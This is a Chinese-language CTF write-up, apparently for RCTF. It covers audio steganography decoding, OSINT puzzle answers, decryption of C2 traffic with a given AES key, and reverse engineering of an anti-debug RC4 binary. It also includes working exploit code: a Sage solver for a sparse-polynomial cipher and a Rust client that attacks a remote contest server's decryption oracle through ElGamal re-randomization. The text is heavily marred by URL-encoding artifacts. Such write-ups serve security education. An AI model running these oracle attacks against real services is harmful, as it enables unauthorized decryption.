ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line#!/usr/bin/env%20python3#%20-*-%20coding:%20utf-8%20-*-
"""Decode%20hidden%20message%20from%20feel.wav%20binary-bar%20waveform.Expected%20output:%20I%20Feel%20Fantastic%20heyheyhey"""
import numpy as npfrom scipy.io import wavfile
def read_mono_pcm(path: str): %20 %20rate,%20data%20=%20wavfile.read(path) %20 %20data%20=%20data.astype(float) %20 if data.ndim%20> 1:%20 #%20立体声只取一个声道 %20 %20 %20 %20data%20=%20data[:, 0] %20 return rate,%20data
def compute_envelope(data:%20np.ndarray,%20window_size: int = 100)%20->%20np.ndarray: %20 """对绝对值做滑动平均,得到能量包络""" %20 %20abs_data%20=%20np.abs(data) %20 %20n%20= len(abs_data)%20//%20window_size%20*%20window_size %20 %20reshaped%20=%20abs_data[:n].reshape(-1,%20window_size) %20 %20env%20=%20reshaped.mean(axis=1) %20 return env
def binarize_envelope(env:%20np.ndarray)%20->%20np.ndarray: %20 """根据能量双峰分布自动求阈值,得到%200/1%20序列""" %20 %20median_env%20=%20np.median(env) %20 %20low_level%20=%20np.median(env[env%20<%20median_env]) %20 %20high_level%20=%20np.median(env[env%20>%20median_env]) %20 %20threshold%20=%20(low_level%20+%20high_level)%20/ 2.0 %20 %20bits_raw%20=%20(env%20>%20threshold).astype(int) %20 return bits_raw
def run_length_encode(bits:%20np.ndarray): %20 %20runs%20=%20[] %20 %20current%20=%20bits[0] %20 %20length%20= 1 %20 for b in bits[1:]: %20 %20 %20 if b%20==%20current: %20 %20 %20 %20 %20 %20length%20+= 1 %20 %20 %20 else: %20 %20 %20 %20 %20 %20runs.append((current,%20length)) %20 %20 %20 %20 %20 %20current%20=%20b %20 %20 %20 %20 %20 %20length%20= 1 %20 %20runs.append((current,%20length)) %20 return runs
def expand_runs_to_bits(runs): %20 """ %20 %20每一串%200/1%20在时间上会持续若干个“单位长度”, %20 %20大部分长度约是%2022%20的倍数,这里固定%20base_unit%20=%2022, %20 %20再按%20round(length%20/%20base_unit)%20还原成重复%20bit。 %20 %20""" %20 %20base_unit%20= 22.0 #%20针对%20feel.wav%20这题是固定的 %20 %20bit_list%20=%20[] %20 for v,%20l in runs: %20 %20 %20 %20n%20= int(round(l%20/%20base_unit)) %20 %20 %20 if n%20<= 0: %20 %20 %20 %20 %20 %20n%20= 1 %20 %20 %20 %20bit_list.extend([v]%20*%20n) %20 return bit_list
def bits_to_ascii(bit_list): %20 %20bitstr%20= "".join(str(b) for b in bit_list) %20 %20bitstr%20=%20bitstr[: len(bitstr)%20// 8 * 8]%20 #%20截断到%208%20的倍数 %20 %20bytes_vals%20=%20[int(bitstr[i%20:%20i%20+ 8], 2) for i in range(0, len(bitstr), 8)] %20 %20msg%20= "".join(chr(b) for b in bytes_vals) %20 return msg,%20bytes_vals,%20bitstr
def decode_hidden_message(path: str): %20 %20rate,%20data%20=%20read_mono_pcm(path) %20 %20env%20=%20compute_envelope(data,%20window_size=100) %20 %20bits_raw%20=%20binarize_envelope(env) %20 %20runs%20=%20run_length_encode(bits_raw) %20 %20bit_list%20=%20expand_runs_to_bits(runs) %20 %20msg,%20bytes_vals,%20bitstr%20=%20bits_to_ascii(bit_list) %20 return msg,%20bytes_vals,%20bitstr
if __name__%20== "__main__": %20 #%20把这里改成你的文件名(与脚本在同一路径下) %20 %20wav_path%20= "feel.wav"
%20 %20msg,%20bytes_vals,%20bitstr%20=%20decode_hidden_message(wav_path)
%20 print("Decoded%20bytes:",%20bytes_vals) %20 print("Decoded%20message:") %20 print(msg)
ounter(lineI Feel%20Fantastic%20heyheyhey
Challenge%203
She%20just%20feels%20love,%20and%20her%20legend%20once%20spread%20across%20YouTube.%20Her%20song%20touched%20hearts,%20but%20the%20original%20video%20on%20the%20YouTube%20platform%20has%20been%20removed%20—%20deleted,%20re-uploaded,%20distorted,%20like%20memories%20fading%20with%20time.%20Through%20the%20fragments%20of%20public%20records,%20find%20where%20her%20voice%20first%20echoed:%20the%20original%20video%20ID,%20upload%20date%20(YYYY-MM-DD),%20and%20the%20one%20who%20first%20shared%20her%20song.
在网络存档上找到原视频
ounter(linehttps://archive.org/details/youtube-rLy-AwdCOmI
ounter(lineounter(lineounter(linerLy-AwdCOmICreepyblog2009-04-15
Challenge%204
Her%20creator%20captured%20her%20voice,%20preserved%20in%20a%2015-minute%20audio/video%20DVD.%20She%20only%20wanted%20to%20sing,%20and%20he%20gave%20her%20that%20chance.%20If%20you%20wish%20to%20purchase%20her%20album,%20to%20hear%20her%20songs%20of%20love,%20which%20link%20should%20you%20visit?%20After%20purchasing,%20who%20is%20the%20sender?%20And%20what%20is%20the%20actual%20creation%20year%20when%20these%20musical%20compositions%20first%20came%20to%20life?
查找购买,基本AI就能出
ounter(lineounter(lineounter(linehttps://androidworld.com/prod68.htmChris Willis2004
Challenge%205
本题也是基本AI出的,多提示词几次,就会给出下面这个,但是有个坑点
john-louis-bergeron和john_louis-bergeron都会导航到那个网站,但是交后面那个是错误,因为这个卡住了,错失三血
ounter(linehttps://www.findagrave.com/memorial/63520325/john-louis-bergeron
Signin
直接看网页源代码。
发现100分就有flag了
Shadows%20of%20Asgard
是一个C2流量分析。
先找到C2上线的包
发现直接给aeskey和iv了。让ai搓了个脚本,成功解密data。
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineimport%20base64,%20jsonfrom%20Crypto.Cipher%20import%20AES
aesKey_b64%20= "WzUsMTM5LDI0NSwyMjAsMjMxLDQ2LDIzNCwxNDYsMjQ4LDIxMSwyLDIxMywyLDE2NSw5OCwxMTgsMTAzLDE2MiwzLDE1MCw0LDUzLDE3OSwxOTQsODQsMjA3LDQ1LDI0NSw4OCwxNzksMTkzLDEwMV0="aesIV_b64%20 = "WzEyNCwyMzIsMjU0LDE5LDI1MCw0OSw1MCw4MywyMjksMjQ0LDI4LDIyMiw4MywzMywyMDIsNl0="data_b64%20 %20= "N2M3N2ZlN2ExYTdhZGMxY2E3MmZhMzY4MzgxMjUxMjQ5ZDZlYjAwNDQwZWJhYmQ2ZDc4MTVkMjE2OTVmMjAwNzRkY2JmYjgwYmExZTVjMjc5ZWY1NzZhNTQxMTU2YTQxZGI0NjQ3MGNlYTIzMDVkOTFlNDcxN2MyMTljNGQwNWJhYjRlMGQ5Zjg1MTA5MDNmZGQyNTM1M2ZjODI5NmY3MjgxYTEyODNkODIzMDQ1Y2NkYTI4MDI3OTc2NTljNzUzNzI0M2U0MmRhMTQ4MGY4ZDg0ZWQ2YTRjMDA1MjUyNWRjYWIwMDk2M2MyODA1MGJmNTEzNjA2NzNhODdiOTNiZDg1NTNkNWU3NDMzMjk3YmRkNTRiOTQyMjJjZDUzMzg3NzIwMmYwNTU0MDNiMjRlODU5NzkwY2Q5MzliYTZjNGVmMDNjMTkzYTU0Zjc3NTUyY2MyYzJhOThlMmI3NDhmZWViZGY0ZDc5YTM5YzBkZGFlZjUyMzVmZjY4YWYxM2Y0NjFiYTkzMTAwMjhhODY3NWEzOGNiNGU3MTc0YmY1Y2QwYzY4YzdiOGE5NjczMGNlMTEyMGJjNWRjNWQ3ZDNiNGY0NTkxMzc1MGRiNzJiZjQ3NzU5YWQwNGRiOWQxYTBlYjlhMzRmOGZlNDZmMDM5OGI1YWI5YWMzMDBiZTlkNmU1MTA4ZTM1ZWQ2YTRiYTA1MTJmNjJkMjM1YTc1YzQyMTc2MGFkOWNlZWU3YWYyYjM4OTk1MjYxZGJkY2E1NDZk=="data_hex%20 %20=%20base64.b64decode(data_b64).decode()#%201.%20Base64%20decodekey_list%20=%20json.loads(base64.b64decode(aesKey_b64).decode())iv_list%20 =%20json.loads(base64.b64decode(aesIV_b64).decode())
#%202.%20Convert%20to%20byteskey_bytes%20=%20bytes(key_list)iv_bytes%20 =%20bytes(iv_list)
#%203.%20data%20hex%20→%20bytescipher_bytes%20=%20bytes.fromhex(data_hex)
#%204.%20AES-CBC%20decryptcipher%20=%20AES.new(key_bytes,%20AES.MODE_CBC,%20iv_bytes)plaintext%20=%20cipher.decrypt(cipher_bytes)
#%205.%20remove%20PKCS7%20paddingpad%20=%20plaintext[-1]plaintext%20=%20plaintext[:-pad]
print(plaintext.decode(errors="ignore"))
第一问结果
解上线请求得第二问结果
第三问这里说命令隐藏在图像中
而且流量包里面频繁请求了logo.png,导出来看一下发现的确有base64在里面
得到第三问答案
第四问
第五问结果
RCTF{they%20always%20say%20Raven%20is%20inauspicious}
五问回答之后就得到flag了。
Crypto
suanp01y
加密流程:
-
环:,其中
-
多项式生成:随机生成两个%2041-稀疏、次数 的多项式
-
平移变换:,( 为随机平移量)
-
输出内容:
然后就是AES的CTR模式加密
- (环内除法)
将%20hint写成代数形式:
记 ,则:
真正短的有理分式是 ,其分子分母满足:
- 均为%2041-稀疏多项式
对每个 计算:
此时:
当 时,,可通过多项式有理重构从 中恢复 。
有理重构恢复 后,枚举所有平移 ,生成
每次计算 作为%20AES%20密钥,用%20CTR%20模式解密密文,匹配%20RCTF{…}即可
EXP:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linefrom sage.all import *from Crypto.Cipher import AESfrom hashlib import md5
r,%20d%20= 16381, 41R.<x>%20=%20GF(2)[]S.<X>%20=%20R.quotient(x^r%20- 1)M%20=%20x^r%20- 1BMAX%20=%20r//3 nonce%20= b"suanp01y"
line1,%20line2%20= open("output.txt","r").read().splitlines()Hstr%20=%20line1.split("=",1)[1].strip()%20 %20 H%20=%20S(Hstr)%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 ct%20= bytes.fromhex(line2.strip())
def wt_R(poly_R): %20 return sum(int(c) for c in poly_R.list())
def eea_ratrec(F_R,%20M_R,%20B): %20 %20r0,%20r1%20=%20M_R,%20F_R %20 %20s0,%20s1%20=%20R(1),%20R(0) %20 %20t0,%20t1%20=%20R(0),%20R(1)
%20 def try_pair(A,%20B): %20 %20 %20 if A and B and A.degree()%20<=%20BMAX and B.degree()%20<=%20BMAX: %20 %20 %20 %20 %20 %20A,%20B%20=%20A.monic(),%20B.monic() %20 %20 %20 %20 %20 if ((F_R*B%20-%20A)%20%%20M_R)%20== 0: %20 %20 %20 %20 %20 %20 %20 return A,%20B %20 %20 %20 return None
%20 %20cand%20=%20try_pair(r1,%20t1) %20 if cand: return cand %20 while r1%20!= 0: %20 %20 %20 %20q,%20r2%20=%20r0.quo_rem(r1) %20 %20 %20 %20r0,%20r1%20=%20r1,%20r2 %20 %20 %20 %20s0,%20s1%20=%20s1,%20s0%20-%20q*s1 %20 %20 %20 %20t0,%20t1%20=%20t1,%20t0%20-%20q*t1
%20 %20 %20 %20cand%20=%20try_pair(r0,%20t0) %20 %20 %20 if cand: return cand %20 %20 %20 %20cand%20=%20try_pair(r1,%20t1) %20 %20 %20 if cand: return cand
%20 raise RuntimeError("no%20bounded%20solution")
t0_R%20=%20t1_R%20= Nonegood_delta%20= None
for delta in range(r): %20 %20H_delta%20=%20S(X^delta)%20*%20H %20 %20F_delta%20=%20H_delta.lift() %20 try: %20 %20 %20 %20A,%20B%20=%20eea_ratrec(F_delta,%20M,%20BMAX) %20 except RuntimeError: %20 %20 %20 continue %20 if wt_R(B)%20==%20d or wt_R(A)%20==%20d: %20 %20 %20 %20t0_R,%20t1_R%20=%20(B,%20A) if wt_R(B)%20==%20d else (A,%20B) %20 %20 %20 %20good_delta%20=%20delta %20 %20 %20 print(f"[+]%20找到可重构的%20δ%20= {delta} ,wt(t0)={wt_R(t0_R)},%20wt(t1)={wt_R(t1_R)}") %20 %20 %20 break
if t0_R is None: %20 raise SystemExit("[-]%20遍历%20δ%20未能重构到%2041-稀疏分母")
def decrypt_try(h0_S): %20 %20key%20=%20md5(str(h0_S).encode()).digest() %20 return AES.new(key=key,%20nonce=nonce,%20mode=AES.MODE_CTR).decrypt(ct)
t0_S%20=%20S(t0_R)flag%20= Nonefor k in range(r): %20 %20h0%20=%20S(X^k)%20*%20t0_S %20 %20pt%20=%20decrypt_try(h0) %20 if pt.startswith(b"RCTF{") and pt.rstrip().endswith(b"}") and all(32 <=%20b%20<= 126 for b in pt): %20 %20 %20 %20flag%20=%20pt.decode() %20 %20 %20 print("[+]%20FOUND%20flag:",%20flag) %20 %20 %20 break"""[+]%20找到可重构的%20δ%20=%2012921%20,wt(t0)=41,%20wt(t1)=41[+]%20FOUND%20flag:%20RCTF{i_just_h0pe_ChatGPT_doesnt_inst@ntly_so1ve_thi5_one.}"""
ReParing
题目基于%20BLS12-381%20配对的加密系统,服务端通过%20Rust%20+%20arkworks%20实现
这是一个%20ElGamal%20结构,可以被重随机化,而题目又给了我们一个“解密后%20KDF(key)%20的%20oracle”。
我们选任意 ,定义新的密文:
原来随机数是 :,;
现在变成 :,;
同样从 调整为 。
对 调用同一个解密函数:
写成 的形式:
代入:
再用 :
于是:
对任意 ,按上面的公式重随机化之后的密文,解密出来的仍然是同一个会话密钥 。
而在交互协议里,只要 跟原来的三分量不同时相等,就会被认为是“新密文”,从而返回 。
得到hex(KDF(S))直接和encrypted_flag异或即可
exp:
文件结构
exp/%20├──%20Cargo.toml%20└──%20src/%20└──%20main.rs
Cargo.toml:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line[package]name%20= "exp"version%20= "0.1.0"edition%20= "2024"
[dependencies]ark-bls12-381%20= "0.5"ark-ec%20 %20 %20 %20 %20= "0.5"ark-ff%20 %20 %20 %20 %20= "0.5"ark-serialize%20 = "0.5"hex%20 %20 %20 %20 %20 %20 = "0.4"
src/main.rs:
我们沿用题目的序列化规则即可
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineuse%20std::io::{Read,%20Write};use%20std::net::TcpStream;
use%20ark_bls12_381::{Bls12_381,%20Fr,%20G1Affine,%20G1Projective,%20G2Affine,%20G2Projective};use%20ark_ec::{pairing::Pairing,%20CurveGroup,%20PrimeGroup};use%20ark_ff::{PrimeField,%20Field};use%20ark_serialize::{CanonicalDeserialize,%20CanonicalSerialize};
type GT = <Bls12_381%20as%20Pairing>::TargetField;
fn parse_g1_hex(s:%20&str) ->%20G1Projective%20{ %20 let b = hex::decode(s).expect("bad%20hex%20g1"); %20 let a = G1Affine::deserialize_compressed(&*b).expect("bad%20g1"); %20 %20G1Projective::from(a)}fn parse_g2_hex(s:%20&str) ->%20G2Projective%20{ %20 let b = hex::decode(s).expect("bad%20hex%20g2"); %20 let a = G2Affine::deserialize_compressed(&*b).expect("bad%20g2"); %20 %20G2Projective::from(a)}fn parse_gt_hex(s:%20&str) ->%20GT%20{ %20 let b = hex::decode(s).expect("bad%20hex%20gt"); %20 %20GT::deserialize_compressed(&*b).expect("bad%20gt")}fn hex_g1(p:%20&G1Projective) ->%20String%20{ %20 %20let%20a:%20G1Affine%20=%20(*p).into_affine(); %20 %20let mut v = Vec::new(); %20 %20a.serialize_compressed(&mut%20v).unwrap(); %20 %20hex::encode(v)}fn hex_g2(p:%20&G2Projective) ->%20String%20{ %20 %20let%20a:%20G2Affine%20=%20(*p).into_affine(); %20 %20let mut v = Vec::new(); %20 %20a.serialize_compressed(&mut%20v).unwrap(); %20 %20hex::encode(v)}fn hex_gt(x:%20>) ->%20String%20{ %20 %20let mut v = Vec::new(); %20 %20x.serialize_compressed(&mut%20v).unwrap(); %20 %20hex::encode(v)}
fn xor_in_place(a:%20&mut%20[u8],%20b:%20&[u8]) { %20 for (x,%20y)%20in%20a.iter_mut().zip(b.iter())%20{ %20 %20 %20 %20*x%20^=%20*y; %20 %20}}
fn main() ->%20std::io::Result<()>%20{ %20 //%20连接远端 %20 let host = std::env::args().nth(1).unwrap_or_else(|| "1.14.196.78:42601".to_string()); %20 %20let mut sock = TcpStream::connect(host)?;
%20 //%20读首行%20banner %20 %20let mut line = String::new(); %20 %20let mut buf = [0u8; 4096]; %20 //%20读到换行即可 %20 %20loop%20{ %20 %20 %20 let n = sock.read(&mut%20buf)?; %20 %20 %20 if n%20== 0 { break;%20} %20 %20 %20 %20line.push_str(&String::from_utf8_lossy(&buf[..n])); %20 %20 %20 if line.contains('\n')%20{ break;%20} %20 %20} %20 let line = line.lines().next().unwrap().trim().to_string();
%20 //%20拆分%208%20段:%20id|dst|pk|q|c1|c2|c3|enc_flag %20 %20let mut it = line.split('|'); %20 let _id_hex = it.next().expect("id"); let _dst_hex = it.next().expect("dst"); let pk_hex = it.next().expect("pk"); let q_hex = it.next().expect("q"); let c1_hex = it.next().expect("c1"); let c2_hex = it.next().expect("c2"); let c3_hex = it.next().expect("c3"); let enc_hex = it.next().expect("enc"); assert!(it.next().is_none(), "more parts than expected");
// 反序列化 let pk: GT = parse_gt_hex(pk_hex); let q: G2Projective = parse_g2_hex(q_hex); let c1: GT = parse_gt_hex(c1_hex); let c2: G1Projective = parse_g1_hex(c2_hex); let c3: G2Projective = parse_g2_hex(c3_hex); let mut enc = hex::decode(enc_hex).expect("bad enc hex");
let mut delta_u64: u64 = 1; let key_hex = loop { let delta = Fr::from(delta_u64);
let c1p = c1 * pk.pow(delta.into_bigint()); let c2p = c2 + G1Projective::generator() * delta; let c3p = c3 + q * delta;
let out = format!( "{}|{}|{}\n", hex_gt(&c1p), hex_g1(&c2p), hex_g2(&c3p), ); sock.write_all(out.as_bytes())?;
let mut resp = String::new(); sock.read_to_string(&mut resp)?; let resp = resp.trim(); if resp == "bad" || resp == "no" { delta_u64 += 1; continue; } else { break resp.to_string(); } };
let key = hex::decode(key_hex).expect("bad key hex"); let enc_len = enc.len(); assert!(key.len() >= enc_len); xor_in_place(&mut enc, &key[..enc_len]); println!("{}", String::from_utf8_lossy(&enc)); Ok(())}
在exp目录下运行cargo run –release
ounter(lineounter(lineounter(lineounter(lineounter(lineC:\Users\28421\Desktop\exp>cargo run --release Compiling exp v0.1.0 (C:\Users\28421\Desktop\exp) Finished `release` profile [optimized] target(s) in 1.65s Running `target\release\exp.exe`RCTF{ElGamal-style_re-randomization_attack_still_break_modern_schemes_7ec932b22988}
Reverse
Chaos
签到题,双击exe得到flag
ounter(lineounter(lineHe said that if all the key modifications involved in anti-debugging are identified, the flag can be retrieved.your flag is RCTF{AntiDbg_KeyM0d_2025_R3v3rs3}程序执行完毕,按下任意键退出...
Chaos2
这个题就是用一个被反调试代码动态改动过的 key 做 RC4 解密,把 main 里那 0x80 个字节解出来,得到真正的 flag
主逻辑在 loc_40151D 这一块:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040151D loc_40151D:.text:0040151D mov ebx, 22222222h.text:00401522 mov eax, dword_404018.text:00401527 mov [ebp-88h], eax.text:0040152D push 0.text:0040152F push 0.text:00401531 push offset sub_401130 ; 回调.text:00401536 call ds:EnumUILanguagesA.text:0040153C mov [ebp-194h], eax.text:00401542 mov ecx, dword_40440C ; key 指针放到 [ebp-190h].text:00401548 mov [ebp-190h], ecx
sub_401130 是 EnumUILanguagesA 的回调,里面就是反调试 + key 修改。
密文写入栈,地址从 [ebp-84h] 到 [ebp-5],一共 0x80 字节:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040154E mov byte ptr [ebp-84h], 0Fh.text:00401555 mov byte ptr [ebp-83h], 1Ah.text:0040155C mov byte ptr [ebp-82h], 8Ah.text:00401563 mov byte ptr [ebp-81h], 5Ah ; 'Z'.text:0040156A mov byte ptr [ebp-80h], 22h ; '"'.text:0040156E mov byte ptr [ebp-7Fh], 0ABh.text:00401572 mov byte ptr [ebp-7Eh], 1Eh.text:00401576 mov byte ptr [ebp-7Dh], 63h ; 'c'.text:0040157A mov byte ptr [ebp-7Ch], 19h.text:0040157E mov byte ptr [ebp-7Bh], 5Ah ; 'Z'.text:00401582 mov byte ptr [ebp-7Ah], 87h.text:00401586 mov byte ptr [ebp-79h], 0F2h.text:0040158A mov byte ptr [ebp-78h], 0E6h.text:0040158E mov byte ptr [ebp-77h], 0E9h.text:00401592 mov byte ptr [ebp-76h], 0D7h.text:00401596 mov byte ptr [ebp-75h], 0D1h.text:0040159A mov byte ptr [ebp-74h], 97h.text:0040159E mov byte ptr [ebp-73h], 0F9h.text:004015A2 mov byte ptr [ebp-72h], 0F8h.text:004015A6 mov byte ptr [ebp-71h], 32h ; '2'.text:004015AA mov byte ptr [ebp-70h], 5Bh ; '['.text:004015AE mov byte ptr [ebp-6Fh], 0DEh.text:004015B2 mov byte ptr [ebp-6Eh], 2Dh ; '-'.text:004015B6 mov byte ptr [ebp-6Dh], 0D6h.text:004015BA mov byte ptr [ebp-6Ch], 0A3h.text:004015BE mov byte ptr [ebp-6Bh], 4Fh ; 'O'.text:004015C2 mov byte ptr [ebp-6Ah], 7Eh ; '~'.text:004015C6 mov byte ptr [ebp-69h], 0CBh.text:004015CA mov byte ptr [ebp-68h], 61h ; 'a'.text:004015CE mov byte ptr [ebp-67h], 0B2h.text:004015D2 mov byte ptr [ebp-66h], 3Fh ; '?'.text:004015D6 mov byte ptr [ebp-65h], 0BFh.text:004015DA mov byte ptr [ebp-64h], 0B7h.text:004015DE mov byte ptr [ebp-63h], 1Bh.text:004015E2 mov byte ptr [ebp-62h], 0Ah.text:004015E6 mov byte ptr [ebp-61h], 84h.text:004015EA mov byte ptr [ebp-60h], 0B3h.text:004015EE mov byte ptr [ebp-5Fh], 0B4h.text:004015F2 mov byte ptr [ebp-5Eh], 0DEh.text:004015F6 mov byte ptr [ebp-5Dh], 3.text:004015FA mov byte ptr [ebp-5Ch], 46h ; 'F'.text:004015FE mov byte ptr [ebp-5Bh], 7Bh ; '{'.text:00401602 mov byte ptr [ebp-5Ah], 83h.text:00401606 mov byte ptr [ebp-59h], 0F0h.text:0040160A mov byte ptr [ebp-58h], 0C4h.text:0040160E mov byte ptr [ebp-57h], 0B3h.text:00401612 mov byte ptr [ebp-56h], 0ABh.text:00401616 mov byte ptr [ebp-55h], 7Bh ; '{'.text:0040161A mov byte ptr [ebp-54h], 29h ; ')'.text:0040161E mov byte ptr [ebp-53h], 0BCh.text:00401622 mov byte ptr [ebp-52h], 1Fh.text:00401626 mov byte ptr [ebp-51h], 0FEh.text:0040162A mov byte ptr [ebp-50h], 8Ah.text:0040162E mov byte ptr [ebp-4Fh], 79h ; 'y'.text:00401632 mov byte ptr [ebp-4Eh], 26h ; '&'.text:00401636 mov byte ptr [ebp-4Dh], 0DAh.text:0040163A mov byte ptr [ebp-4Ch], 8.text:0040163E mov byte ptr [ebp-4Bh], 1.text:00401642 mov byte ptr [ebp-4Ah], 85h.text:00401646 mov byte ptr [ebp-49h], 66h ; 'f'.text:0040164A mov byte ptr [ebp-48h], 7Dh ; '}'.text:0040164E mov byte ptr [ebp-47h], 0BBh.text:00401652 mov byte ptr [ebp-46h], 0EEh.text:00401656 mov byte ptr [ebp-45h], 0Fh.text:0040165A mov byte ptr [ebp-44h], 89h.text:0040165E mov byte ptr [ebp-43h], 59h ; 'Y'.text:00401662 mov byte ptr [ebp-42h], 0D4h.text:00401666 mov byte ptr [ebp-41h], 5Fh ; '_'.text:0040166A mov byte ptr [ebp-40h], 0ACh.text:0040166E mov byte ptr [ebp-3Fh], 18h.text:00401672 mov byte ptr [ebp-3Eh], 0AEh.text:00401676 mov byte ptr [ebp-3Dh], 0Bh.text:0040167A mov byte ptr [ebp-3Ch], 4Eh ; 'N'.text:0040167E mov byte ptr [ebp-3Bh], 0F0h.text:00401682 mov byte ptr [ebp-3Ah], 0B7h.text:00401686 mov byte ptr [ebp-39h], 5.text:0040168A mov byte ptr [ebp-38h], 5Ch ; '\'.text:0040168E mov byte ptr [ebp-37h], 81h.text:00401692 mov byte ptr [ebp-36h], 4.text:00401696 mov byte ptr [ebp-35h], 9Fh.text:0040169A mov byte ptr [ebp-34h], 0A4h.text:0040169E mov byte ptr [ebp-33h], 1Ch.text:004016A2 mov byte ptr [ebp-32h], 5Dh ; ']'.text:004016A6 mov byte ptr [ebp-31h], 0A0h.text:004016AA mov byte ptr [ebp-30h], 0B9h.text:004016AE mov byte ptr [ebp-2Fh], 7.text:004016B2 mov byte ptr [ebp-2Eh], 92h.text:004016B6 mov byte ptr [ebp-2Dh], 5Ch ; '\'.text:004016BA mov byte ptr [ebp-2Ch], 8Ah.text:004016BE mov byte ptr [ebp-2Bh], 53h ; 'S'
最后是 RC4 的逻辑:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040175A push 80h ; key 长度 0x80.text:0040175F mov edx, [ebp-190h] ; key 指针 = dword_40440C.text:00401765 push edx.text:00401766 lea eax, [ebp-18Ch] ; RC4 state.text:0040176C push eax.text:0040176D call sub_4017D0 ; RC4 KSA.text:00401772 add esp, 0Ch.text:00401775 push 80h.text:0040177A lea ecx, [ebp-84h] ; 密文缓冲.text:00401780 push ecx.text:00401781 lea edx, [ebp-18Ch] ; RC4 state.text:00401787 push edx.text:00401788 call sub_4018A0 ; RC4 PRGA + XOR.text:0040178D add esp, 0Ch.text:00401790 lea eax, [ebp-84h].text:00401796 push eax.text:00401797 push offset aYourFlagIsS ; "your flag is %s".text:0040179C call sub_401050
所以flag 就是 RC4 解密后的 [ebp-84h] 那 0x80 字节字符串。
在data段找到关键的fake_key:
